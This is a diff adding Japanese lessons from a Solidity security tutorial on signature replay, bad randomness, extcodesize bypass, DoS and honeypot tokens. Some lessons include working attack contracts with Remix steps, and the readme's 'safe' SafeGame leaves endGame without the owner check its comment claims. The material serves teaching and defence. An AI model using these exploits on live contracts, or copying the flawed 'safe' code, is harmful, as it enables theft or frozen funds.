(bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } +``` + +**注意** ミント関数`badMint()`は`signature`の重複チェックを行っていないため、同じ署名を複数回使用でき、無限にトークンをミントできます。 + +```solidity + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } +``` + +## `Remix`再現 + +**1.** `SigReplay`コントラクトをデプロイし、署名者アドレス`signer`がデプロイウォレットアドレスに初期化されます。 + +![](./img/S06-2.png) + +**2.** `getMessageHash`関数を利用してメッセージを取得します。 + +![](./img/S06-3.png) + +**3.** `Remix`デプロイパネルの署名ボタンをクリックし、秘密鍵でメッセージに署名します。 + +![](./img/S06-4.png) + +**4.** `badMint`を繰り返し呼び出して署名リプレイ攻撃を行い、大量のトークンをミントします。 + +![](./img/S06-5.png) + +## 予防方法 + +署名リプレイ攻撃には主に2つの予防方法があります: + +1. 使用済みの署名を記録する。例えば、既にトークンをミントしたアドレス`mintedAddress`を記録し、署名の再利用を防ぐ: + + ```solidity + mapping(address => bool) public mintedAddress; // 既にmintしたアドレスを記録 + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // そのアドレスが既にmintしたかチェック + require(!mintedAddress[to], "Already minted"); + // mintしたアドレスを記録 + mintedAddress[to] = true; + _mint(to, amount); + } + ``` + +2. `nonce`(取引毎に増加する数値)と`chainid`(チェーンID)を署名メッセージに含める。これにより、通常のリプレイとクロスチェーンリプレイ攻撃を防ぐことができる: + + ```solidity + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } + ``` + +3. ユーザーが`signature`を入力するシナリオでは、`signature`の長さを検証し、長さが`65bytes`であることを確認する必要がある。そうでなければ署名リプレイ問題が発生する: + + ```solidity + function mint(address to, uint amount, bytes memory signature) public { + require(signature.length == 65, "Invalid signature length"); + ... + } + ``` + +## まとめ + +今回は、スマートコントラクトにおける署名リプレイ脆弱性について紹介し、3つの予防方法を紹介しました: + +1. 使用済みの署名を記録し、二度目の使用を防ぐ。 + +2. `nonce`と`chainid`を署名メッセージに含める。 + +3. ユーザーが`signature`を入力するシナリオでは、`signature`の長さを検証し、長さが`65bytes`であることを確認する。そうでなければ署名リプレイ問題が発生する。 \ No newline at end of file diff --git a/Languages/ja/S07_BadRandomness_ja/readme.md b/Languages/ja/S07_BadRandomness_ja/readme.md new file mode 100644 index 000000000..3e8a8f353 --- /dev/null +++ b/Languages/ja/S07_BadRandomness_ja/readme.md @@ -0,0 +1,90 @@ +--- +title: S07. 悪質な乱数 +tags: + - solidity + - security + - random +--- + +# WTF Solidity 合約セキュリティ: S07. 悪質な乱数 + +私は最近Solidityを学び直して詳細を固めており、「WTF Solidity 合約セキュリティ」を書いています。初心者向けの内容で(プログラミング上級者は他のチュートリアルをお探しください)、毎週1-3講座を更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、スマートコントラクトの悪質な乱数(Bad Randomness)脆弱性と予防方法について紹介します。この脆弱性はNFTとGameFiでよく見られ、Meebits、Loots、Wolf Gameなどが被害を受けました。 + +## 疑似乱数 + +イーサリアム上の多くのアプリケーションは乱数を必要とします。例えば、`NFT`のランダムな`tokenId`選択、ブラインドボックス、`gamefi`バトルでのランダムな勝敗決定などです。しかし、イーサリアム上のすべてのデータは公開透明(`public`)かつ決定論的(`deterministic`)であるため、他のプログラミング言語のように開発者に乱数生成メソッド(例:`random()`)を提供していません。多くのプロジェクト側は、チェーン上の疑似乱数生成方法、例えば`blockhash()`と`keccak256()`メソッドを使用せざるを得ません。 + +悪質な乱数脆弱性:攻撃者はこれらの疑似乱数の結果を事前に計算し、目標を達成できます。例えば、ランダムな選択ではなく、欲しいレアな`NFT`を任意にミントできます。詳細については[WTF Solidity極簡チュートリアル 第39講:疑似乱数](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random)をお読みください。 + +![](./img/S07-1.png) + +## 悪質な乱数の事例 + +以下では悪質な乱数脆弱性を持つNFTコントラクト:BadRandomness.solを学習します。 + +```solidity +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // コンストラクタ、NFTコレクションの名称、記号を初期化 + constructor() ERC721("", ""){} + + // ミント関数:入力したluckyNumberが乱数と等しい時のみmintできる + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // 悪質な乱数を取得 + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +これには主要なミント関数`luckyMint()`があり、ユーザーが呼び出す際に`0-99`の数字を入力し、チェーン上で生成された疑似乱数`randomNumber`と等しければ、ラッキーNFTをミントできます。疑似乱数は`blockhash`と`block.timestamp`を使用して生成されます。この脆弱性は、ユーザーが生成される乱数を完璧に予測してNFTをミントできることです。 + +以下に攻撃コントラクト`Attack.sol`を作成します。 + +```solidity +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // 乱数を事前に計算 + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // luckyNumberを利用して攻撃 + nftAddr.luckyMint(luckyNumber); + } +} +``` + +攻撃関数`attackMint()`のパラメータは`BadRandomness`コントラクトアドレスです。この中で乱数`luckyNumber`を計算し、それをパラメータとして`luckyMint()`関数に入力して攻撃を完了します。`attackMint()`と`luckyMint()`は同じブロック内で呼び出されるため、`blockhash`と`block.timestamp`は同じで、それらを使用して生成される乱数も同じです。 + +## `Remix`再現 + +Remix内蔵のRemix VMは`blockhash`関数をサポートしていないため、コントラクトをイーサリアムテストネットにデプロイして再現する必要があります。 + +1. `BadRandomness`コントラクトをデプロイします。 + +2. `Attack`コントラクトをデプロイします。 + +3. `BadRandomness`コントラクトアドレスをパラメータとして`Attack`コントラクトの`attackMint()`関数に渡して呼び出し、攻撃を完了します。 + +4. `BadRandomness`コントラクトの`balanceOf`を呼び出して`Attack`コントラクトのNFT残高を確認し、攻撃が成功したことを確認します。 + +## 予防方法 + +この類の脆弱性を予防するために、通常はオラクルプロジェクトが提供するオフチェーン乱数を使用します。例えばChainlink VRFです。この類の乱数はオフチェーンで生成され、その後チェーン上にアップロードされるため、乱数が予測不可能であることが保証されます。詳細については[WTF Solidity極簡チュートリアル 第39講:疑似乱数](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random)をお読みください。 + +## まとめ + +今回は悪質な乱数脆弱性について紹介し、シンプルな予防方法を紹介しました:オラクルプロジェクトが提供するオフチェーン乱数を使用することです。NFTとGameFiプロジェクト側は、ハッカーに利用されることを防ぐため、チェーン上の疑似乱数を抽選に使用することを避けるべきです。 \ No newline at end of file diff --git a/Languages/ja/S08_ContractCheck_ja/readme.md b/Languages/ja/S08_ContractCheck_ja/readme.md new file mode 100644 index 000000000..2b770417a --- /dev/null +++ b/Languages/ja/S08_ContractCheck_ja/readme.md @@ -0,0 +1,122 @@ +--- +title: S08. コントラクトチェックの回避 +tags: + - solidity + - security + - constructor +--- + +# WTF Solidity 合約セキュリティ: S08. コントラクト長チェックの回避 + +私は最近Solidityを学び直して詳細を固めており、「WTF Solidity 合約セキュリティ」を書いています。初心者向けの内容で(プログラミング上級者は他のチュートリアルをお探しください)、毎週1-3講座を更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、コントラクト長チェックの回避について紹介し、予防方法を説明します。 + +## コントラクトチェックの回避 + +多くのfreemintプロジェクトは、プログラマー(科学者)を制限するために`isContract()`メソッドを使用し、呼び出し元`msg.sender`を外部アカウント(EOA)に制限し、コントラクトではないようにしようとします。この関数は`extcodesize`を利用してそのアドレスに保存されている`bytecode`の長さ(runtime)を取得し、0より大きい場合はコントラクトと判断し、そうでなければEOA(ユーザー)と判断します。 + +```solidity +// extcodesizeを利用してコントラクトかどうかをチェック +function isContract(address account) public view returns (bool) { + // extcodesize > 0 のアドレスは必ずコントラクトアドレス + // ただし、コントラクトのコンストラクタ実行時はextcodesizeが0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; +} +``` + +ここに脆弱性があります。コントラクトが作成される際、`runtime bytecode`がまだアドレスに保存されていないため、`bytecode`の長さが0になります。つまり、ロジックをコントラクトのコンストラクタ`constructor`内に記述すれば、`isContract()`チェックを回避できます。 + +![image1](./img/S08-1.png) + +## 脆弱性の例 + +以下の例を見てみましょう:`ContractCheck`コントラクトはfreemint ERC20コントラクトで、ミント関数`mint()`内で`isContract()`関数を使用してコントラクトアドレスの呼び出しを阻止し、プログラマーの一括ミントを防いでいます。`mint()`を呼び出すたびに100枚のトークンをミントできます。 + +```solidity +// extcodesizeでコントラクトアドレスかどうかをチェック +contract ContractCheck is ERC20 { + // コンストラクタ:トークン名と記号を初期化 + constructor() ERC20("", "") {} + + // extcodesizeを利用してコントラクトかどうかをチェック + function isContract(address account) public view returns (bool) { + // extcodesize > 0 のアドレスは必ずコントラクトアドレス + // ただし、コントラクトのコンストラクタ実行時はextcodesizeが0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // mint関数、非コントラクトアドレスのみ呼び出し可能(脆弱性あり) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} +``` + +攻撃コントラクトを作成し、`constructor`内で`ContractCheck`コントラクトの`mint()`関数を複数回呼び出し、`1000`枚のトークンを一括ミントします: + +```solidity +// コンストラクタの特性を利用した攻撃 +contract NotContract { + bool public isContract; + address public contractCheck; + + // コントラクト作成中、extcodesize(コード長)は0のため、isContract()で検出されない。 + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // これは動作する + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // コントラクト作成後、extcodesize > 0となり、isContract()で検出可能 + function mint() external { + ContractCheck(contractCheck).mint(); + } +} +``` + +前述の内容が正しければ、コンストラクタ内で`mint()`を呼び出すことで`isContract()`チェックを回避してトークンのミントに成功し、関数は正常にデプロイされ、状態変数`isContract`がコンストラクタ内で`false`に設定されます。コントラクトデプロイ後、`runtime bytecode`が既にコントラクトアドレスに保存され、`extcodesize > 0`となり、`isContract()`がミントを正常に阻止し、`mint()`関数の呼び出しは失敗します。 + +## `Remix`再現 + +1. `ContractCheck`コントラクトをデプロイします。 + +2. `NotContract`コントラクトをデプロイし、パラメータを`ContractCheck`コントラクトアドレスにします。 + +3. `ContractCheck`コントラクトの`balanceOf`を呼び出して`NotContract`コントラクトのトークン残高を確認すると`1000`になっており、攻撃が成功しています。 + +4. `NotContract`コントラクトの`mint()`関数を呼び出すと、この時点でコントラクトは既にデプロイ完了しているため、`mint()`関数の呼び出しは失敗します。 + +## 予防方法 + +`(tx.origin == msg.sender)`を使用して呼び出し元がコントラクトかどうかを検出できます。呼び出し元がEOAの場合、`tx.origin`と`msg.sender`は等しく、等しくない場合は呼び出し元がコントラクトです。[eip-3074](https://eips.ethereum.org/EIPS/eip-3074)では、このようなコントラクトチェック方法は無効になります。 + +```solidity +function realContract(address account) public view returns (bool) { + return (tx.origin == msg.sender); +} +``` + +## まとめ + +今回は、コントラクト長チェックを回避できる脆弱性について紹介し、予防方法を説明しました。あるアドレスの`extcodesize > 0`の場合、そのアドレスは必ずコントラクトですが、`extcodesize = 0`の場合、そのアドレスは`EOA`の可能性もあれば、作成中状態のコントラクトの可能性もあります。 \ No newline at end of file diff --git a/Languages/ja/S09_DoS_ja/Attack.sol b/Languages/ja/S09_DoS_ja/Attack.sol new file mode 100644 index 000000000..5599a1f37 --- /dev/null +++ b/Languages/ja/S09_DoS_ja/Attack.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// DoSGameをインポート(実際の使用時は同じファイルまたは別途インポート) +import "./DoSGame.sol"; + +// DoS攻撃を実行する悪意のあるコントラクト +// fallback関数でETHの受け取りを拒否し、返金処理を妨害する +contract Attack { + + // 返金時にDoS攻撃を実行 + // このfallback関数により、ETHの受け取りを拒否し返金処理を停止させる + fallback() external payable{ + revert("DoS Attack!"); // 常にrevertして返金を失敗させる + } + + // receive関数も同様にrevertして攻撃を確実にする + receive() external payable { + revert("DoS Attack!"); + } + + // DoSゲームに参加して預金する + // この関数を呼び出すことで、攻撃者もゲームの参加者となる + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } + + // 攻撃者がコントラクトから資金を引き出すための関数 + // (攻撃後に自分の資金を回収したい場合に使用) + function withdraw() external { + payable(msg.sender).transfer(address(this).balance); + } +} \ No newline at end of file diff --git a/Languages/ja/S09_DoS_ja/DoSGame.sol b/Languages/ja/S09_DoS_ja/DoSGame.sol new file mode 100644 index 000000000..a3d019d98 --- /dev/null +++ b/Languages/ja/S09_DoS_ja/DoSGame.sol @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// DoS脆弱性を持つゲームコントラクト +// プレイヤーが最初に資金を預け、ゲーム終了後にrefundで返金される +contract DoSGame { + bool public refundFinished; // 返金完了フラグ + mapping(address => uint256) public balanceOf; // 各プレイヤーの預金額 + address[] public players; // プレイヤーアドレスの配列 + + // すべてのプレイヤーがETHをコントラクトに預ける + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // 預金額を記録 + balanceOf[msg.sender] = msg.value; + // プレイヤーアドレスを記録 + players.push(msg.sender); + } + + // ゲーム終了、返金開始、すべてのプレイヤーが順次返金を受ける + // 脆弱性: 外部callが失敗するとrevertし、全体の返金処理が停止する + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // ループですべてのプレイヤーに返金 + // 問題: 一人でも返金に失敗すると全体が停止する + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + // 外部callを使用 - 攻撃ベクターになり得る + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); // 脆弱性: 失敗時に全体が停止 + balanceOf[player] = 0; + } + refundFinished = true; + } + + // コントラクトの残高を確認 + function balance() external view returns(uint256){ + return address(this).balance; + } +} \ No newline at end of file diff --git a/Languages/ja/S09_DoS_ja/SafeGame.sol b/Languages/ja/S09_DoS_ja/SafeGame.sol new file mode 100644 index 000000000..cf7420951 --- /dev/null +++ b/Languages/ja/S09_DoS_ja/SafeGame.sol @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// プルペイメントパターンを使用した安全なゲームコントラクト +// DoS攻撃を防ぐため、ユーザーが個別に返金を請求する方式を採用 +contract SafeGame { + bool public gameFinished; // ゲーム終了フラグ + mapping(address => uint256) public balanceOf; // 各プレイヤーの預金額 + mapping(address => bool) public refunded; // 返金済みフラグ + address[] public players; // プレイヤーアドレスの配列 + address public owner; // ゲーム管理者 + + // イベント定義 + event Deposit(address indexed player, uint256 amount); + event GameEnded(); + event RefundClaimed(address indexed player, uint256 amount); + + modifier onlyOwner() { + require(msg.sender == owner, "Only owner can call this function"); + _; + } + + constructor() { + owner = msg.sender; + } + + // プレイヤーがETHを預ける + function deposit() external payable { + require(!gameFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + + // 初回預金の場合、プレイヤーリストに追加 + if(balanceOf[msg.sender] == 0) { + players.push(msg.sender); + } + // 預金額を累積 + balanceOf[msg.sender] += msg.value; + + emit Deposit(msg.sender, msg.value); + } + + // ゲーム終了を宣言(管理者のみ) + function endGame() external onlyOwner { + require(!gameFinished, "Game already finished"); + gameFinished = true; + emit GameEnded(); + } + + // プレイヤーが個別に返金を請求(プルペイメントパターン) + // 重要: この方式により、一人の返金失敗が他に影響しない + function claimRefund() external { + require(gameFinished, "Game not finished"); + require(balanceOf[msg.sender] > 0, "No balance to refund"); + require(!refunded[msg.sender], "Already refunded"); + + uint256 refundAmount = balanceOf[msg.sender]; + + // 再入攻撃を防ぐため、状態を先に更新 + refunded[msg.sender] = true; + balanceOf[msg.sender] = 0; + + // 返金実行 + (bool success, ) = msg.sender.call{value: refundAmount}(""); + if (!success) { + // 送金失敗の場合、状態を戻す + refunded[msg.sender] = false; + balanceOf[msg.sender] = refundAmount; + revert("Refund failed"); + } + + emit RefundClaimed(msg.sender, refundAmount); + } + + // 緊急時の一括返金機能(管理者のみ) + // 注意: この関数も潜在的にDoS攻撃の対象となる可能性がある + function emergencyRefundAll() external onlyOwner { + require(gameFinished, "Game not finished"); + + uint256 pLength = players.length; + for(uint256 i = 0; i < pLength; i++){ + address player = players[i]; + if(!refunded[player] && balanceOf[player] > 0) { + uint256 refundETH = balanceOf[player]; + refunded[player] = true; + balanceOf[player] = 0; + + // 個別の失敗時も処理を続行 + (bool success, ) = player.call{value: refundETH}(""); + if(!success) { + // 失敗時はログを残して処理継続 + // プレイヤーは後でclaimRefundを使用可能 + refunded[player] = false; + balanceOf[player] = refundETH; + } + } + } + } + + // コントラクト残高を確認 + function balance() external view returns(uint256){ + return address(this).balance; + } + + // プレイヤー数を取得 + function getPlayerCount() external view returns(uint256) { + return players.length; + } + + // 特定のプレイヤーの返金状況を確認 + function getRefundStatus(address player) external view returns(bool hasBalance, bool isRefunded, uint256 amount) { + hasBalance = balanceOf[player] > 0; + isRefunded = refunded[player]; + amount = balanceOf[player]; + } +} \ No newline at end of file diff --git a/Languages/ja/S09_DoS_ja/img/S09-1.png b/Languages/ja/S09_DoS_ja/img/S09-1.png new file mode 100644 index 000000000..de62818ab Binary files /dev/null and b/Languages/ja/S09_DoS_ja/img/S09-1.png differ diff --git a/Languages/ja/S09_DoS_ja/img/S09-2.png b/Languages/ja/S09_DoS_ja/img/S09-2.png new file mode 100644 index 000000000..2e207d274 Binary files /dev/null and b/Languages/ja/S09_DoS_ja/img/S09-2.png differ diff --git a/Languages/ja/S09_DoS_ja/img/S09-3.jpg b/Languages/ja/S09_DoS_ja/img/S09-3.jpg new file mode 100644 index 000000000..176c41441 Binary files /dev/null and b/Languages/ja/S09_DoS_ja/img/S09-3.jpg differ diff --git a/Languages/ja/S09_DoS_ja/img/S09-4.jpg b/Languages/ja/S09_DoS_ja/img/S09-4.jpg new file mode 100644 index 000000000..234387fff Binary files /dev/null and b/Languages/ja/S09_DoS_ja/img/S09-4.jpg differ diff --git a/Languages/ja/S09_DoS_ja/img/S09-5.jpg b/Languages/ja/S09_DoS_ja/img/S09-5.jpg new file mode 100644 index 000000000..39f70bc7b Binary files /dev/null and b/Languages/ja/S09_DoS_ja/img/S09-5.jpg differ diff --git a/Languages/ja/S09_DoS_ja/readme.md b/Languages/ja/S09_DoS_ja/readme.md new file mode 100644 index 000000000..18b1bda1b --- /dev/null +++ b/Languages/ja/S09_DoS_ja/readme.md @@ -0,0 +1,193 @@ +--- +title: S09. サービス拒否攻撃 +tags: + - solidity + - security + - fallback + - dos + - 脆弱性 +--- + +# WTF Solidity スマートコントラクトセキュリティ: S09. サービス拒否攻撃(DoS攻撃) + +最近、Solidityを再学習し、詳細を確認しながら「WTF Solidity スマートコントラクトセキュリティ」を作成しています。これは初心者向けのチュートリアルで、毎週1-3回更新予定です。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[WeChatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはGitHubでオープンソース化されています: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +この講義では、スマートコントラクトのサービス拒否攻撃(Denial of Service, DoS)脆弱性について紹介し、予防方法を説明します。NFTプロジェクトAkutarはDoS脆弱性により11,539 ETH(当時の価値3,400万ドル)を失いました。 + +## DoS攻撃について + +Web2において、サービス拒否攻撃(DoS攻撃)とは、サーバーに大量の不正な情報や妨害情報を送信することで、サーバーが正常なユーザーにサービスを提供できなくなる現象を指します。Web3では、脆弱性を悪用してスマートコントラクトが正常にサービスを提供できなくする攻撃を指します。 + +2022年4月、AkutarというNFTプロジェクトが[ダッチオークション](https://github.com/AmazingAng/WTF-Solidity/tree/main/35_DutchAuction)でパブリック販売を行い、11,539.5 ETHの資金調達に成功しました。コミュニティパス保有者には0.5 ETHの返金が予定されていましたが、返金処理時にスマートコントラクトが正常に動作せず、すべての資金がコントラクト内に永久に閉じ込められました。これはDoS脆弱性によるものでした。 + +![](./img/S09-1.png) + +## 脆弱性の例 + +以下は、Akutarコントラクトを簡略化した`DoSGame`コントラクトです。このコントラクトのロジックは非常にシンプルです:ゲーム開始時にプレイヤーが`deposit()`関数を呼び出してコントラクトに資金を預け、コントラクトはすべてのプレイヤーのアドレスと対応する預金額を記録します。ゲーム終了時に`refund()`関数が呼び出され、すべてのプレイヤーにETHが順次返金されます。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// DoS脆弱性を持つゲームコントラクト +// プレイヤーが資金を預け、ゲーム終了後にrefundで返金される +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // すべてのプレイヤーがETHをコントラクトに預ける + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // 預金額を記録 + balanceOf[msg.sender] = msg.value; + // プレイヤーアドレスを記録 + players.push(msg.sender); + } + + // ゲーム終了、返金開始、すべてのプレイヤーが順次返金を受ける + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // ループですべてのプレイヤーに返金 + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} +``` + +この脆弱性は、`refund()`関数がループで返金を行う際に`call`関数を使用していることにあります。これにより、対象アドレスのコールバック関数がアクティブになります。対象アドレスが悪意のあるコントラクトで、コールバック関数に悪意のあるロジックが含まれている場合、返金が正常に実行されません。 + +```solidity +(bool success, ) = player.call{value: refundETH}(""); +``` + +以下は攻撃コントラクトです。`attack()`関数で`DoSGame`コントラクトの`deposit()`を呼び出して預金しゲームに参加します。`fallback()`コールバック関数は、このコントラクトにETHを送信するすべてのトランザクションを拒否し、`DoSGame`コントラクトのDoS脆弱性を攻撃します。すべての返金が正常に実行されず、資金がコントラクト内にロックされます。これはAkutarコントラクトの1万枚以上のETHと同じ状況です。 + +```solidity +contract Attack { + // 返金時にDoS攻撃を実行 + fallback() external payable{ + revert("DoS Attack!"); + } + + // DoSゲームに参加して預金 + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} +``` + +## `Remix`での再現 + +**1.** `DoSGame`コントラクトをデプロイします。 +**2.** `DoSGame`コントラクトの`deposit()`を呼び出し、預金してゲームに参加します。 +![](./img/S09-2.png) +**3.** この時点で、ゲーム終了時に`refund()`を呼び出せば正常に返金されます。 +![](./img/S09-3.jpg) +**4.** `DoSGame`コントラクトを再デプロイし、`Attack`コントラクトもデプロイします。 +**5.** `Attack`コントラクトの`attack()`を呼び出し、預金してゲームに参加します。 +![](./img/S09-4.jpg) +**6.** `DoSGame`コントラクトの`refund()`を呼び出して返金しようとすると、正常に実行されないことがわかります。攻撃成功です。 +![](./img/S09-5.jpg) + +## 予防方法 + +多くのロジックエラーがスマートコントラクトのサービス拒否を引き起こす可能性があるため、開発者はスマートコントラクトを作成する際に細心の注意を払う必要があります。以下は特に注意すべき点です: + +1. **外部コール失敗の適切な処理**: 外部コントラクトの関数呼び出し(例:`call`)が失敗しても重要な機能が停止しないようにします。上記の脆弱性コントラクトから`require(success, "Refund Fail!");`を削除することで、単一アドレスでの返金失敗時でも返金処理を継続できます。 + +2. **予期しないコントラクト自己破壊の防止**: コントラクトが予期せず自己破壊されないようにします。 + +3. **無限ループの回避**: コントラクトが無限ループに陥らないようにします。 + +4. **require文とassert文の適切な設定**: `require`と`assert`のパラメータを正しく設定します。 + +5. **プルペイメントパターンの使用**: 返金時は、コントラクトが一括送信(push)するのではなく、ユーザーがコントラクトから自分で引き出す(pull)方式を採用します。 + +6. **コールバック関数の安全性**: コールバック関数が正常なコントラクトの動作に影響しないようにします。 + +7. **参加者不在時の継続性**: コントラクトの参加者(例:`owner`)が永続的に不在でも、コントラクトの主要機能が正常に動作するようにします。 + +## プルペイメントパターンの実装例 + +以下は、プルペイメントパターンを使用してDoS攻撃を防ぐ改良版のコントラクト例です: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// プルペイメントパターンを使用した安全なゲームコントラクト +contract SafeGame { + bool public gameFinished; + mapping(address => uint256) public balanceOf; + mapping(address => bool) public refunded; + address[] public players; + + // プレイヤーがETHを預ける + function deposit() external payable { + require(!gameFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + + if(balanceOf[msg.sender] == 0) { + players.push(msg.sender); + } + balanceOf[msg.sender] += msg.value; + } + + // ゲーム終了を宣言(管理者のみ) + function endGame() external { + gameFinished = true; + } + + // プレイヤーが個別に返金を請求(プルペイメント) + function claimRefund() external { + require(gameFinished, "Game not finished"); + require(balanceOf[msg.sender] > 0, "No balance to refund"); + require(!refunded[msg.sender], "Already refunded"); + + uint256 refundAmount = balanceOf[msg.sender]; + refunded[msg.sender] = true; + balanceOf[msg.sender] = 0; + + (bool success, ) = msg.sender.call{value: refundAmount}(""); + if (!success) { + // 送金失敗の場合、状態を戻す + refunded[msg.sender] = false; + balanceOf[msg.sender] = refundAmount; + revert("Refund failed"); + } + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} +``` + +この改良版では、各プレイヤーが個別に`claimRefund()`を呼び出して返金を請求するため、一人のプレイヤーの返金失敗が他のプレイヤーに影響することがありません。 + +## まとめ + +この講義では、スマートコントラクトのサービス拒否攻撃脆弱性について紹介しました。Akutarプロジェクトはこの脆弱性により1万枚以上のETHを失いました。多くのロジックエラーがDoS攻撃を引き起こす可能性があるため、開発者はスマートコントラクトを作成する際に細心の注意を払う必要があります。特に、返金処理ではユーザーが自分で引き出す方式を採用し、コントラクトが一括送信する方式を避けることが重要です。 \ No newline at end of file diff --git a/Languages/ja/S10_Honeypot_ja/readme.md b/Languages/ja/S10_Honeypot_ja/readme.md new file mode 100644 index 000000000..ee041f0d2 --- /dev/null +++ b/Languages/ja/S10_Honeypot_ja/readme.md @@ -0,0 +1,141 @@ +--- +title: S10. ハニーポット +tags: + - solidity + - security + - erc20 + - swap +--- + +# WTF Solidity 合約セキュリティ: S10. ハニーポット + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、ハニーポットコントラクトとその予防方法について紹介します(英語では蜜罐代幣honeypot tokenと呼ばれます)。 + +## ハニーポット入門 + +[貔貅(ピクシウ)](https://en.wikipedia.org/wiki/Pixiu)は中国の神獣で、天界で規則を破ったために玉皇大帝に懲罰され、肛門を塞がれてしまい、食べることしかできずに排泄できない、人々の財を集めることができる存在です。しかしWeb3の世界では、貔貅は不吉な獣、投資者の天敵となりました。ハニーポットの特徴:投資者は買うことしかできず売ることができない、プロジェクト方のアドレスのみが売却可能です。 + +通常、ハニーポットには以下のライフサイクルがあります: + +1. 悪意のあるプロジェクト方がハニーポットトークンコントラクトをデプロイします。 +2. ハニーポットトークンを宣伝して個人投資家を呼び込みます。買うことしかできないため、トークン価格は上昇し続けます。 +3. プロジェクト方が`rug pull`で資金を持ち逃げします。 + 